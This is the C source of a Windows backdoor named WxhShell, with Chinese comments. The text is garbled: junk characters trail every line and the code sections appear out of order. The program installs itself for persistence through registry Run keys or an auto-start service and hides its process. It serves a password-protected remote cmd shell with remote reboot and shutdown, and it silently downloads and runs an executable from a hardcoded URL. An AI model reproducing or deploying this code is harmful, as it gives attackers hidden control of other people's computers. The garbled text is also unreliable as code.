    if(Boot(SHUTDOWN)) 1H\5E~X   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ted tmX$  
    else { <WbO&;%  
    closesocket(wsh); PN= 5ICT  
    ExitThread(0); c,]fw2  
    } s0CDp"uJY  
    break; Z%b1B<u$  
    } ]ncK M?'O  
  // 获取shell U6o]7j&6  
  case 's': { 1vAJ(O{-  
    CmdShell(wsh); + rM]RFi  
    closesocket(wsh); +6~zMKp  
    ExitThread(0); }A[5\V^D*  
    break; ;mr*$Iu7|  
  } 6ZwQ/~7H  
  // 退出 D><^7nr%  
  case 'x': { rWqr-"0S.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z#l6BXK  
    CloseIt(wsh); .Iz JJp  
    break; (LMT'   
    } 4N1)+ W8k*  
  // 离开 =EH/~NGk  
  case 'q': { a[,p1}!_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l)~$/#k  
    closesocket(wsh); h#dfhcU>  
    WSACleanup(); 5Vdy:l  
    exit(1); 3[?;s}61  
    break; Jh36NE8r  
        } 0W_u"UY$c  
  } ,1.Td=lY$  
  } w_;$ahsu~  
Lo Y*,Aa&  
  // 提示信息 (=Oo=8\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _;/+8=  
} (]VY==t~  
  } 7VdxQ T  
] yWywa\  
  return; D{q r N6g#  
} R:ecLbC  
knfmJUT  
// shell模块句柄 JV8*;n%}-  
int CmdShell(SOCKET sock) g&Uu~;jq]  
{ g $^Yv4  
STARTUPINFO si; )cL`$h4DD  
ZeroMemory(&si,sizeof(si)); 8A/rkoht*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P)hGe3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d/@P;YN!  
PROCESS_INFORMATION ProcessInfo; yn20*ix{  
char cmdline[]="cmd"; *y` (^kyS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kw7E<aF!  
  return 0; U'~]^F%eyu  
} m( %PZ*s  
(/9erfuJ  
// 自身启动模式 J/,m'wH  
int StartFromService(void) I>6zX  
{ W&[-QM8  
typedef struct &' y}L'  
{ B?e] Ht  
  DWORD ExitStatus; r%>7n,+o  
  DWORD PebBaseAddress; OHnsfXO_V  
  DWORD AffinityMask; glkH??S  
  DWORD BasePriority; 7j(gW  
  ULONG UniqueProcessId; 8wEJyAu2  
  ULONG InheritedFromUniqueProcessId; C*1 1?B[  
}   PROCESS_BASIC_INFORMATION; '$ z@40u  
i[z#5;x+<  
PROCNTQSIP NtQueryInformationProcess; U'Y,T$Q  
ttt4h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !9.\A:G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "5Z5x%3I  
vIZFI  
  HANDLE             hProcess; lS!O(NzqE'  
  PROCESS_BASIC_INFORMATION pbi; 2^Z"4t4  
nU6UjC|3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8%a ^j\L  
  if(NULL == hInst ) return 0; zyt >(A1  
cFq2 6(e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +CXq41g"c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {d)L0KXK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hvA|d=R(  
m%.[|sZ3EM  
  if (!NtQueryInformationProcess) return 0; gO@LJ  
RXu` DWN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9C!b f \  
  if(!hProcess) return 0; <^942y-=  
9A|9:OdG1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )t:8;;W@Ir  
2r]o>X  
  CloseHandle(hProcess); Ysw&J}6e  
~at:\h4:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T&:~=  
if(hProcess==NULL) return 0; Um*&S.y  
S0LaQ<9.  
HMODULE hMod; -3m!970  
char procName[255]; t8.3  
unsigned long cbNeeded; |eJR3o  
I SdB5Va  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Im]6-#(9\|  
LW9F%?e!>  
  CloseHandle(hProcess); &]A0=h2{P*  
MlW*Tugg  
if(strstr(procName,"services")) return 1; // 以服务启动 g; 7u-nP  
tDMNpl  
  return 0; // 注册表启动 HXPq+  
} R+=wSG]  
YTr+"\CkA  
// 主模块 [dqh-7  
int StartWxhshell(LPSTR lpCmdLine) ''q#zEf6  
{ L!`PM.:9  
  SOCKET wsl; !HP=Rgh  
BOOL val=TRUE; dVn_+1\L  
  int port=0; Q]$pg5O  
  struct sockaddr_in door; &;<'AF  
QHnC(b  
  if(wscfg.ws_autoins) Install(); j6L(U~%  
O.8k [Ht  
port=atoi(lpCmdLine); 1?Tj  
8]bLp  
if(port<=0) port=wscfg.ws_port; h2i1w^f  
#)iPvV'  
  WSADATA data; {.e^1qE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hZ "Sqm]  
0JqvV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eF' l_*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g yT0h?xDt  
  door.sin_family = AF_INET; "g!ek3w(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }'n]C|gZ  
  door.sin_port = htons(port); 2R;#XmKS  
x,fL656t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WSGho(\  
closesocket(wsl); k<NxI\s8]  
return 1; M)H*$!x}>  
} 7" )~JBH  
{A)9ePgv!  
  if(listen(wsl,2) == INVALID_SOCKET) { \BO6.;jA  
closesocket(wsl); +AFBTJ  
return 1; HK%W7i/k@  
} j[dgY1yE:  
  Wxhshell(wsl); NYzBfL x  
  WSACleanup(); VSh&Y_%  
Nu'ox. V  
return 0; p\.IP2+c  
&)_ z!  
} .8;0O M  
>gz8,&  
// 以NT服务方式启动 [X>f;;h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) POX{;[SV  
{ 4Tb"+Y}  
DWORD   status = 0; U~M!T#\s  
  DWORD   specificError = 0xfffffff; gP |>gy#e  
aP"!}*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ${gO=Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?},RN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ ?|;w,%I  
  serviceStatus.dwWin32ExitCode     = 0; =hY/Yr%P  
  serviceStatus.dwServiceSpecificExitCode = 0; o8NRu7@?  
  serviceStatus.dwCheckPoint       = 0; 9n"MNedqH  
  serviceStatus.dwWaitHint       = 0; jX^_(Kg  
QbY@{"" `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FPM l;0{  
  if (hServiceStatusHandle==0) return; Iv*u#]{t  
wzBI<0]z  
status = GetLastError(); QGE0pWL-a  
  if (status!=NO_ERROR) 8# x7q>?  
{ Iyb_5 UmpF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tJ&tNSjTi  
    serviceStatus.dwCheckPoint       = 0; qVjMflVoay  
    serviceStatus.dwWaitHint       = 0; h 9}x6t,  
    serviceStatus.dwWin32ExitCode     = status; Y%>u.HzL  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pw5[X5.DX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QZ*gR#K]Sz  
    return; [ugr<[6  
  } nlaW$b{=  
G&"O)$h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b[:{\ !I  
  serviceStatus.dwCheckPoint       = 0; _KkP{g,Y  
  serviceStatus.dwWaitHint       = 0; 2.MY8}&WBu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~R50-O  
} z\woTL6D]  
{Byh:-e<  
// 处理NT服务事件,比如:启动、停止 15r=d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {w7/M]m-  
{ ExeZj8U  
switch(fdwControl) E=`/}2  
{  L|6I  
case SERVICE_CONTROL_STOP:  T;V!>W37  
  serviceStatus.dwWin32ExitCode = 0; DgY !)cS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |"+Uf w^  
  serviceStatus.dwCheckPoint   = 0; `3@?)xa  
  serviceStatus.dwWaitHint     = 0; l[rK)PM   
  { ?GW}:'z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G$5d:[(  
  } 0?dr(   
  return; @PctBS<s  
case SERVICE_CONTROL_PAUSE: (NN;1{DB8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RgZ9ZrE\  
  break; Iga#,k+%  
case SERVICE_CONTROL_CONTINUE: o$rF-?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lj3Pp$h  
  break; U]@?[+I0]  
case SERVICE_CONTROL_INTERROGATE: ,]]*}4[r  
  break; 8_"NF%%(n  
}; (OA4H1DL^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4m`Ya,E3  
} d`=LZio  
BRM!g9  
// 标准应用程序主函数 W|y;Kxy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5pK _-:?  
{ `#vbV/sM  
k[,0kP;  
// 获取操作系统版本 "F6gV;{Bt  
OsIsNt=GetOsVer(); /bPs0>5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KSHq0A6/q%  
S4'<kF0z  
  // 从命令行安装 *[|+5LVn  
  if(strpbrk(lpCmdLine,"iI")) Install(); }W&9}9p"  
{8oGWQgrj  
  // 下载执行文件 iRbe$v&N  
if(wscfg.ws_downexe) { *>1^q9M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0/9]T Ic  
  WinExec(wscfg.ws_filenam,SW_HIDE); ivyaGAF}+o  
} _x|.\j  
3!vzkBr  
if(!OsIsNt) { ?~!9\dek,  
// 如果时win9x,隐藏进程并且设置为注册表启动 n?;rWq"  
HideProc(); _A] )q  
StartWxhshell(lpCmdLine); ic"8'Rwb  
} tC5-^5[y  
else UGj |)/  
  if(StartFromService()) $mh\`  
  // 以服务方式启动 c&FOt  
  StartServiceCtrlDispatcher(DispatchTable); WqF$-rBJG^  
else =0!j"z=  
  // 普通方式启动 RZ;s_16GQ  
  StartWxhshell(lpCmdLine); Poa&htxe1  
C/'w  
return 0; 7 nFOV Z  
} - l^3>!MAM  
l;L_A@B<  
R&a$w8  
??U/Qi180  
=========================================== Wpi35JrC  
&i.sSqSI5  
[.1ME lM  
5j6`W?|q  
%^vT7c>  
$LFL4Q  
" -]H~D4ng  
?Ve I lD  
#include <stdio.h> d Rnf  
#include <string.h> m!ueqV"  
#include <windows.h> qc 5[ e  
#include <winsock2.h>  J}:.I>  
#include <winsvc.h> Zd-6_,r  
#include <urlmon.h> (6Z^0GL  
UL{J%Ze=~  
#pragma comment (lib, "Ws2_32.lib") ne/JC(  
#pragma comment (lib, "urlmon.lib") 0FgF,  
s&(;  
#define MAX_USER   100 // 最大客户端连接数  1/2cb-V  
#define BUF_SOCK   200 // sock buffer jWv'`c  
#define KEY_BUFF   255 // 输入 buffer _Uq' N0U  
}Mt1C~{(  
#define REBOOT     0   // 重启 =4a:)g'  
#define SHUTDOWN   1   // 关机 (r kg0  
,0 q1Id  
#define DEF_PORT   5000 // 监听端口 MA6 Vy  
G+t:]\  
#define REG_LEN     16   // 注册表键长度 $?G@ijk,  
#define SVC_LEN     80   // NT服务名长度 h%Nd89//  
}|Mwv $`  
// 从dll定义API n]ba1t8ZA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >m,hna]RZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UI+6\ 3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y}N\|*ye-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $2?AJ/2r$b  
c{BAQZVc  
// wxhshell配置信息 yJq<&g  
struct WSCFG { ?<TJ}("/  
  int ws_port;         // 监听端口 .4)oZ  
  char ws_passstr[REG_LEN]; // 口令 ]HuB%G|t1V  
  int ws_autoins;       // 安装标记, 1=yes 0=no .qO4ceW2-~  
  char ws_regname[REG_LEN]; // 注册表键名 ~\jP+[>M'  
  char ws_svcname[REG_LEN]; // 服务名 *WQ?r&[_'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iM)K:L7d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VAz4@r7hkq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pg4W?N`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f +{=##'0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6*q1%rs:w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H@=oVyn/  
-AdDPWn  
}; ^w60AqR8  
>u&D@7~c  
// default Wxhshell configuration s)a-ky(  
struct WSCFG wscfg={DEF_PORT, oAQQ OtpZN  
    "xuhuanlingzhe", E1eGZ&&Gd  
    1, %^IQ<   
    "Wxhshell", vW1^  
    "Wxhshell", ayy\7b  
            "WxhShell Service", s5nw<V9$]  
    "Wrsky Windows CmdShell Service", )4L2&e`k)(  
    "Please Input Your Password: ", <l{oE? N  
  1, L,[Q/ $S8  
  "http://www.wrsky.com/wxhshell.exe", b>; ?{  
  "Wxhshell.exe" 9|1msg4  
    }; yYA*5 7^A  
"GO!^ZG]  
// 消息定义模块 yV(#z2|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hCcI]#S&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |LZ;2 i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z-PB CU  
char *msg_ws_ext="\n\rExit."; ~~W.]>f  
char *msg_ws_end="\n\rQuit."; MJXnAIG?2  
char *msg_ws_boot="\n\rReboot..."; :y-;V  
char *msg_ws_poff="\n\rShutdown..."; ba|xf@=&  
char *msg_ws_down="\n\rSave to "; Z<nNk.G  
8G:/f3B=  
char *msg_ws_err="\n\rErr!"; $ZM'dIk?  
char *msg_ws_ok="\n\rOK!"; Nw*<e ]uD  
"cKD#  
char ExeFile[MAX_PATH]; [ohLG_9  
int nUser = 0; r1L@p[>  
HANDLE handles[MAX_USER]; {r_HcI(h  
int OsIsNt; Nk7y2[  
0= $/  
SERVICE_STATUS       serviceStatus; )p\`H;7*V4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fDy*dp4z  
a !VWWUTm?  
// 函数声明 t1w5U+z  
int Install(void); Nny*C`uDF  
int Uninstall(void); =X R~I  
int DownloadFile(char *sURL, SOCKET wsh); 4z<c8 E8  
int Boot(int flag);  LCor T-  
void HideProc(void); ?Q"andf  
int GetOsVer(void); 6$urrSQ`N0  
int Wxhshell(SOCKET wsl); nwFBuP<LR  
void TalkWithClient(void *cs); MQoA\  
int CmdShell(SOCKET sock); /vSGmW-*  
int StartFromService(void); *yhA8fJ  
int StartWxhshell(LPSTR lpCmdLine); Z@zo~*o  
v"k ? e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^*ZaqMA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :uCwWv   
^~~Rto)Y  
// 数据结构和表定义 /e2zH  
SERVICE_TABLE_ENTRY DispatchTable[] = \ S;[7T  
{ vbid>$%  
{wscfg.ws_svcname, NTServiceMain}, I$; `^z  
{NULL, NULL} l U/Xi  
}; ]Y [N=G  
:nIMZRJ_!E  
// 自我安装 h#YO;m2wd  
int Install(void) d5'Q 1"{  
{ xS|9Gk  
  char svExeFile[MAX_PATH]; _.s ,gX  
  HKEY key; Qt.*Z;Gs  
  strcpy(svExeFile,ExeFile); s5*4<VxQN.  
u@_|4Bp,"  
// 如果是win9x系统,修改注册表设为自启动 |5~Oh`w  
if(!OsIsNt) { rI$NNk'A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >?^oxB"<Gc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >=N-P< %  
  RegCloseKey(key); ~5P9^`KNH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0D,@^vw bK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FyEKqYl  
  RegCloseKey(key); !aT:0m$:9c  
  return 0; "@G[:(BoB<  
    } { )qr3-EM#  
  } 2y`h'z  
} IWo'{pk  
else { vkG#G]Qs";  
E)*ht;u  
// 如果是NT以上系统,安装为系统服务 &wQ;J)13  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); edL2ax  
if (schSCManager!=0) Ze0qRLuH!  
{ +R*DE5dz  
  SC_HANDLE schService = CreateService [c B^6v  
  ( V(`]hH0;T  
  schSCManager, kK75(x  
  wscfg.ws_svcname, D\Ez~.H  
  wscfg.ws_svcdisp, }d%CZnY&7  
  SERVICE_ALL_ACCESS, xNIrmqm5]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O\<zQ2m  
  SERVICE_AUTO_START, )BJkHED{  
  SERVICE_ERROR_NORMAL, 6:8s,a3&[k  
  svExeFile, Q/|.=:~FO  
  NULL, +?)7 l  
  NULL, F3bTFFt  
  NULL, 7hk<{gnr  
  NULL, ^Laqq%PI  
  NULL e|k]te  
  ); $OZ= L  
  if (schService!=0) wNmpUO ?  
  { \c\~k0u  
  CloseServiceHandle(schService); iy~h|YK;  
  CloseServiceHandle(schSCManager); 'w ,gYW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *O[/KR%  
  strcat(svExeFile,wscfg.ws_svcname); W`x.qumN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l,o'J%<%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1m5l((d  
  RegCloseKey(key); Ey7zb#/<!  
  return 0; O>DS%6/G  
    } WaB0?jI  
  } 6xDk3   
  CloseServiceHandle(schSCManager); n3p@duC4  
} a#]V|1*O  
} |3~m8v2-  
e 6mZ;y5_  
return 1; aL:|Dr3SX  
} xN*k&!1&  
eWFkUjz  
// 自我卸载 J$6WUz:?  
int Uninstall(void) Rrh6-]A  
{ *6yY>LW  
  HKEY key; 6>]  
NFTv4$5d  
if(!OsIsNt) { L(|K{vHh]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kl]V_ 7[  
  RegDeleteValue(key,wscfg.ws_regname); rN 9qH  
  RegCloseKey(key); YC1Bgz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]EHsRd  
  RegDeleteValue(key,wscfg.ws_regname); jSpj6:@B  
  RegCloseKey(key); $1ovT8  
  return 0; PE5*]+lW.  
  } }Nr6oUn  
} "SN*hzs"]`  
} l<1zLA~G  
else { 6CFnE7TQf  
H5 z1_O_+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  D_dv8  
if (schSCManager!=0) e.vt"eRB  
{ <%YW/k"o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ry|a_3X(I  
  if (schService!=0) \lG)J0  
  { oJD]h/fQs  
  if(DeleteService(schService)!=0) { I\TSVJk^Xi  
  CloseServiceHandle(schService); _]@u)$  
  CloseServiceHandle(schSCManager); .I>rX#aNt  
  return 0; QcrhgR  
  } HWV A5E[`Y  
  CloseServiceHandle(schService); oh-EEo4,  
  } by+xK~>  
  CloseServiceHandle(schSCManager); LilK6K  
} H<|}p Z  
} WSMpX -^e@  
"*HM8\  
return 1; 4L,wBce;,t  
} - BWf.  
)Wle CS_  
// 从指定url下载文件 ~IYR&GEaUG  
int DownloadFile(char *sURL, SOCKET wsh) ;.AMP$o`(Y  
{ 8Ygf@*9L4  
  HRESULT hr; 3UXZ|!-  
char seps[]= "/"; W!$U{=  
char *token; x:0swZ5Z  
char *file; 1qR$ Yr\  
char myURL[MAX_PATH];  Y:/p0 o  
char myFILE[MAX_PATH]; =COQv=GT  
qv(3qY  
strcpy(myURL,sURL); d-b<_k{p  
  token=strtok(myURL,seps); :@)R@. -  
  while(token!=NULL) 2T}>9X  
  { rrz([2E2  
    file=token; ,y'6vW`%g9  
  token=strtok(NULL,seps); +EjXoW7V  
  } s<LnUF1b  
'Z#_"s#L  
GetCurrentDirectory(MAX_PATH,myFILE); ~~|Iw=:  
strcat(myFILE, "\\"); R`]@.i4tt  
strcat(myFILE, file); Ej)7[  
  send(wsh,myFILE,strlen(myFILE),0); c/ImK`:)4a  
send(wsh,"...",3,0); I(AlRh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]d[e  
  if(hr==S_OK) -BP10-V  
return 0; k9oi8G'g~  
else c*B< - l<5  
return 1; q)9n%- YgP  
Io*H}$Gf  
} sN8pwRjb  
05{}@tW-  
// 系统电源模块 =8#.=J[/  
int Boot(int flag) lx4p Tw1  
{ b-/QZvg  
  HANDLE hToken; WZ>nA[/  
  TOKEN_PRIVILEGES tkp; 2~\SUGW-  
a T(]  
  if(OsIsNt) { r'yNc&~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UUDHknm"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kh# QT_y  
    tkp.PrivilegeCount = 1; 3#$X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ECA<%'$?E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9,~7,Py}  
if(flag==REBOOT) { }wRm ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @gb W:  
  return 0; IV!`~\@  
} a9;KS>~bq  
else { OQfFS+6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i$%Bo/Y   
  return 0; G=[<KtWa  
} \,Ws=9f  
  } O$r/ {{I.  
  else { n= 4  
if(flag==REBOOT) { FS=yc.Q_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xi{ r-D8Z  
  return 0; `B"sy8}x  
} "~r)_Ko  
else { {e|.AD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (_4DZMf  
  return 0; sM MtU@<x  
} B(1-u!pz  
} deaB_cjdI  
6d/Q"As  
return 1; VQqBo~  
} *GoTN  
ssLswb  
// win9x进程隐藏模块 >w<w*pC  
void HideProc(void) @%x2d1FS  
{ nS3Aadm  
d/yF}%0QI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NjZ~b/  
  if ( hKernel != NULL ) ^wWbW&<Tg  
  { O=+$X Pa|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X uE: dL?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1|4,jm$  
    FreeLibrary(hKernel); 3%5YUG@  
  } (eU4{X7  
xE@/8h  
return; 1UJrPM%  
} \mh #MMp  
8u~  
// 获取操作系统版本 :p}8#rb  
int GetOsVer(void) /a^ R$RHl'  
{ nyi!D   
  OSVERSIONINFO winfo; tXtNK2-1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8O]`3oa>  
  GetVersionEx(&winfo); z mip  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4zS0kk;+  
  return 1; =[]6NjKS,  
  else ciODTq?  
  return 0; 3E*m.jX  
} l[:Aq&[o3  
]Ac}+?  
// 客户端句柄模块 V($V8P/  
int Wxhshell(SOCKET wsl) ="YGR:  
{ :6lvX$  
  SOCKET wsh; SC~k4&xy  
  struct sockaddr_in client; YS^!'IyG/B  
  DWORD myID; )pHlWi|h  
?Q-Tyf$3  
  while(nUser<MAX_USER) :CE4< {V  
{ L_Gw:"-+Q  
  int nSize=sizeof(client); ;9OhK71}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4{kH;~ z$  
  if(wsh==INVALID_SOCKET) return 1; %a~/q0o>  
=^u;uS[IW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Wiy2  
if(handles[nUser]==0) Zw9;g+9  
  closesocket(wsh); a,vS{434J  
else iv$YUM+  
  nUser++; +v;z^+  
  } ;WSW&2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &t9 V  
=p'+kS+  
  return 0; JnsJ]_<  
} r+Ki`HD%  
O<cP1TF  
// 关闭 socket _F%`7j  
void CloseIt(SOCKET wsh) hNN[djR  
{ /dYv@OU?  
closesocket(wsh); p@G7}'|eyA  
nUser--; nU_O|l9  
ExitThread(0); 5&n{QE?Um  
} OtqFI!ns  
{3`385  
// 客户端请求句柄 4=tR_s  
void TalkWithClient(void *cs) 'vBZh1`p  
{ $].htm  
e7U\gtZ.  
  SOCKET wsh=(SOCKET)cs; {zAI-?#*u  
  char pwd[SVC_LEN]; qazA,|L!  
  char cmd[KEY_BUFF]; +\Vm t[v  
char chr[1]; RHC ZP  
int i,j; mF*x&^ie  
~+dps i  
  while (nUser < MAX_USER) { ?+d`_/IB  
U0_^6zd_  
if(wscfg.ws_passstr) { 06pvI}   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ax=HDW}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !e|\1v'0  
  //ZeroMemory(pwd,KEY_BUFF); !B3TLe h  
      i=0; R(~wSL*R>  
  while(i<SVC_LEN) { H\S)a FY[  
lDYgt UKG  
  // 设置超时 [7v|bd  
  fd_set FdRead; 5^Qa8yA>7  
  struct timeval TimeOut; !y _{mE?V(  
  FD_ZERO(&FdRead); |Ghk8 WA  
  FD_SET(wsh,&FdRead); Q6Gw!!Z5EA  
  TimeOut.tv_sec=8; zi-_l  
  TimeOut.tv_usec=0; #Lhv=0op  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G|g^yaq>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nQc#AFg  
@yuiNj .T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bT.q@oU  
  pwd=chr[0]; gN=.}$Kfu  
  if(chr[0]==0xd || chr[0]==0xa) { s/D)X=P1  
  pwd=0; .hat!Tt9  
  break; "@UQSf,  
  } vamZKm~p  
  i++; ~gfR1SE  
    } D`LBv,n  
!K>iSF<  
  // 如果是非法用户,关闭 socket =j,WQ66r3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); glMHT,  
} 7QsD"rL  
"313eeIt%i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GI%&.Vd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F_ F"3'[  
cszvt2BIg  
while(1) { WUYI1Ij;  
5}#wp4U  
  ZeroMemory(cmd,KEY_BUFF); ,S-h~x  
w"^h<]b  
      // 自动支持客户端 telnet标准   W'[V$*  
  j=0; 'h*jL@%TT  
  while(j<KEY_BUFF) { p>B2bv+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 t5kou]h  
  cmd[j]=chr[0]; 11=$] K>  
  if(chr[0]==0xa || chr[0]==0xd) { 'X?xn@?  
  cmd[j]=0; jo`ZuN{  
  break; _VrY7Mz:r  
  } PXb$]HV  
  j++; iEvQ4S6tD  
    } U[C4!k:0  
Mkz_.;3  
  // 下载文件 V_+&Y$msi~  
  if(strstr(cmd,"http://")) { u7!9H<{>P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cSb;a\el$  
  if(DownloadFile(cmd,wsh)) ywa*?3?c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WTvUz.Et  
  else ot^pxun  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |mb2<!ag{  
  } B 71/nt9  
  else { @]@|H?  
_wq?Pa<)e  
